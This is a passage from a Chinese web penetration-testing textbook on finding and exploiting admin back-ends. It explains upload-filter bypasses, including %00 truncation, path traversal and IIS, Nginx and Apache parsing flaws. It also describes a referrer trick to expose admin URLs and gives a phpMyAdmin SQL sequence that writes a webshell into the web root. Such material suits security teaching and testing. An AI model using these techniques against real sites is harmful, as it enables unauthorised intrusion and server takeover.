后台问题在Web渗透中,后台文件的利用常常会有意想不到的效果。而一个网站后台路径的暴露就等同于将家的具体位置给暴露了,为了杜绝这种现象发生,开发人员经常采用复制的后台路径,给渗透带来了难度。那常见的后台地址查找方法又有哪些呢?3.4.1 后台地址查找1. 扫描器、爬虫常见的后台扫描器是用外载字典对路径进行爆破,而这种方法的局限性也很明显,字典的强度决定了成功率。而相比较而言,爬虫常常能爬出那些很隐秘的目录,增加爆破的成功率。2. 搜索引擎对于后台查找,常用的语法无非intext、inurl、intitle等基本的搜索语法,简单又实用,还常常有意外的收获。3. 页面信息在火狐浏览器中访问一个Web站点,在浏览器空白界面右击,单击“查看页面信息”,效果如图3-31所示。
图3-31 查看页面信息在媒体页面信息中可以看到多媒体文件路径,包括图片等的路径。因为这些图片往往是管理员在后台更新时上传的,而有些Web站点的上传目录分配不严格,如上传目录是后台目录的子目录,所以导致了后台路径就隐藏在图片路径中。4. XSSXSS的危害十分巨大却又常常被忽略,我们在第5章会详细讨论更多的前端技术。5. 二级域名及其他端口在对大型网站进行渗透时,常常发现一个现象。比如从目标站点的一个二级域名入手进行Web渗透,但其后台登录接口往往是另一个二级域名或三级域名。因此在渗透中用脚本对目标站点的二级域名进行爆破还是很有必要的。其他端口又怎么样呢?一般Web站点默认端口是80端口,但在实际渗透中,常常会发现某个站点前台确实是80端口,而后台登录端口往往是其他端口,像8000、8080、8001都很常见。所以,在渗透前对目标的信息搜集要尽量到位和全面,以免渗透中为此浪费大量时间和精力。6. 访问来源此方法对一些有留言板或是能和管理员交互的站点较为有效。首先,需要准备一个自己的站点,然后在此站点中添加站长统计的JS,将准备的站点网址以添加友链的名义发给渗透目标的管理员。当渗透目标的管理员访问了发给他的网址时,这时在站长统计后台便能看到访问来源了,而一般管理员是在后台对一些留言进行审核,所以访问来源常常就是后台地址。在开发中,后台是为了方便管理员对网站进行更新,因此功能往往很多,如添加管理员,数据库备份下载,文件上传等。功能强大,伴随而来的常常是安全问题。在渗透中,对后台的巧妙利用更胜于在前台大费周章地挖掘漏洞。那常见的后台利用又有哪些呢?3.4.2 后台验证绕过渗透中,有些Web站点的后台使用了JavaScript验证和固定cookie,而这类验证被绕过的可能性很大。就拿JavaScript验证来说,因为它发生在客户端,因此对于这类后台只要在浏览器中把JavaScript禁止掉就能正常访问后台了。例如,蓝科CMS中对后台的验证就是JavaScript,如图3-32所示,可以看到JS开启的时候,无法访问后台。当把火狐浏览器的javascript.enabled设置为false时,再次对后台进行访问,如图3-33所示,可以看到成功访问了后台,轻松地绕过了JavaScript的验证。
图3-33 成功进入后台3.4.3 后台越权局部未授权访问是很多后台出现的问题,意思就是后台中的某个页面可以被访问。常见的类似于管理员管理、数据库操作、文件上传之类,从而引发任意添加管理员、数据泄露、getshell等严重问题。而当面对后台里那些非高危的越权时,应该怎么办呢?1. 越权XSS对于一些低危的后台越权,开发者们常常不怎么重视,而往往问题都是出在小问题上。大多数情况下,后台相比前台要脆弱太多,很多后台XSS、后台注入之类,在开发者、攻击者眼中很“鸡肋”,但是如果将其与越权结合起来,其实质就和前台的漏洞差不多。例如网站基本信息页面的越权,单从越权角度来看确实没什么影响,无非是一些公司名之类的。但是如果攻击者在基本信息中插入XSS代码,那危害性甚至超过了前台的XSS。2. 越权注入后台中常常也有很多数据库查询,如新闻搜索与会员操作等。其实,对数据库的任何操作都有可能引发注入,而往往后台本身有很多注入,但后台经常忽视。例如新闻管理页面的越权,无论是新闻的删除、添加、修改或搜索都要对数据库进行操作,如果开发者因为其是后台而未做过滤或过滤不足的话,那危害可想而知。3.4.4 后台文件的利用对于后台文件的利用,常见的有文件上传、备份下载、数据库下载、robots.txt、探针等,这些文件带来的影响有大有小,上至getshell,下至信息泄漏。对于后台文件扫描,只需要留意某些特定的后缀即可,如rar、txt、mdb、sql等,这样能大大节省扫描时间,提高效率。3.5 上传黑盒绕过文件上传是常见的getshell方法之一。而文件上传的验证大致可以分为两类:客户端验证和服务端验证,在这里讲解常见的上传验证的绕过。3.5.1 常见的验证方式及绕过1. JavaScript验证绕过JavaScript验证就是所谓的客户端验证,也是脆弱的一种验证。直接修改数据包或禁用JavaScript即可绕过。2. content-type验证绕过content-type验证,常见的是判断content-type是否为image/gif。对于这种验证直接修改数据包中的content-type为image/gif即可,如图3-34所示。3. 黑名单检测绕过黑名单检测是常见的一种上传验证方式,不允许上传黑名单中存在的扩展名,其安全性低于白名单检测,对其的绕过方式也远多于白名单检测。对于黑名单检测绕过的常见思路有以下几种。(1)找黑名单拓展名中的漏网之鱼,常见的如asa、cer。(2)大小写混淆绕过,如AsP、pHp。(3)利用解析漏洞绕过。(4)特别文件名构造。(5)截断上传。
图3-34 修改content-type4. 白名单检测绕过白名单检测安全性远高于黑名单检测,仅允许上传白名单所允许的几种扩展名,因此黑名单中的大小写混淆、特殊的扩展名等绕过方式对白名单检测均无效。但仍可以用截断上传、解析漏洞、特别文件名构造对其进行绕过。5. 对危险扩展名POST检测的绕过在开发中,为了方便维护和更新,会先对扩展名进行验证,如果上传文件的扩展名为可执行脚本,便会对其POST的数据进行检测,如果存在恶意代码就会禁止上传。而对于这类上传检测的绕过大致有这几种思路,一是利用变种木马绕过其检测;二就是用包含文件对其进行绕过。就拿PHP来说,先将一句话木马放进一个txt文件中,因为txt并非可执行脚本,因此成功上传;然后再将如图3-35所示的代码放进一个PHP文件中,加载外部××.txt文件。
图3-35 加载外部××.txt文件利用PHP中的include函数将刚才上传的txt文件包含进去,而因PHP中include是常用函数,一般POST检测不会认为其是恶意代码,因此成功上传,从而绕过限制执行恶意代码。6. 服务器目录限制的绕过有的Web应用程序本身对扩展名并没有什么验证,而是在服务器上对上传目录允许上传的文件扩展名进行限制。而对于这类防御方法,如果能控制上传路径即能成功绕过了。其中常见的便是上传路径被写在了数据包中,对此直接修改数据包即可,如图3-36所示,这里用../跳出被限制的目录。
图3-36 直接修改上传路径还有些不常见的,直接在文件名前加../进行目录的跳出,如图3-37所示。
图3-37 构造特殊文件名跳出当前目录3.5.2 具体剖析一些绕过手法1. 截断上传常见的截断就是利用%00或%80-%99对文件名进行截断从而绕过验证。在Burp中可以修改其hex值进行截断,如图3-38所示。
图3-38 构造特殊文件名将文件名中的hex值替换为00,如图3-39和图3-40所示。
图3-39 分号的位置
图3-40 hex值成功被修改2. 解析漏洞某些Web应用程序对上传后的文件没有进行重命名。对此,可以尝试用一些解析漏洞进行绕过。(1)IIS 6.0解析漏洞利用IIS 6.0解析漏洞的方法有两种:目录解析和文件解析。对于目录解析,其原理是在网站下建立名字为×.asp、×.asa 的文件夹,其目录内任何扩展名的文件都被IIS当作ASP文件来解析并执行,如/××.asp/××.jpg,××.jpg会被当作ASP执行。对于文件解析,如××.asp;.jpg,分号后面的不被解析,因此等同于××.asp。(2)Nginx解析漏洞在默认Fast-CGI开启状况下,上传一个含有恶意代码的图片,其URL如:×××.com/××.jpg。当访问×××.com/××.jpg/.php时,原本的××.jpg便会被当作php执行了。(3)Nginx <8.03空字节代码执行漏洞在上传的图片中插入恶意代码,然后通过访问×××.jpg%00.php来执行其中的代码。(4)Apache解析漏洞Apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断,比如 ××.php.owf.rar中.owf和.rar?这两种后缀是Apache不可识别解析,Apache就会把××.php.owf.rar解析成php。3. 特别文件名构造在黑盒中,对于一些不合规范的上传验证,常常会出现一些匪夷所思的绕过。例如:××.php“.”jpg、××.php_等,对于这类验证,在黑盒环境下常常需要进行大量尝试。3.6 getshell的其他方式文件上传是getshell的主要方式之一,除了文件上传,其实还有很多其他的getshell的方式。1. phpMyAdmin利用弱口令登录phpMyAdmin,访问http://URL/phpmyadmin/libraries/select_lang.lib.php,可以得到目标站点的物理路径,然后选择一个数据库,运行以下MySQL语句:
Create TABLE a (cmd text NOT NULL);Insert INTO a (cmd) VALUES(”);select cmd from a into outfile ‘D:/usr/www/html/phpMyAdmin/d.php’;Drop TABLE IF EXISTS a;
这些语句的运行效果如下:运行条语句在选定的数据库中建一个表a;运行第二条语句将PHP一句话木马写到a表中;接着执行第三条语句,把a表输出到网站目录下的d.php里,即可成功getshell。2. 数据库备份数据库备份也是常见的getshell方法,不过mdb数据库备份在比较新式的后台中已经很少见了,但在老式后台中仍然是很常见的。一般情况下,需要满足两个条件一定能成功getshell:数据库路径可控和备份文件名可控,如图3-41所示。
图3-41 对备份路径和名称进行修改这里只需要将当前数据库路径改成上传的图片路径,再将备份数据库名修改为后门地址即可。3. 写入配置文件例如xycms的后台配置文件getshell,在配置文件中任意一栏中插入一句话木马"%>图3-42 插入一句话木马被插入代码的文件inc/config.asp的源码如图3-43所示。
图3-43 配置文件源码4. 文件包含在黑盒渗透中,文件包含也是常见的getshell方法之一,接下来在审计环节将详细讲解其原理及利用方式。
评论
还没有评论。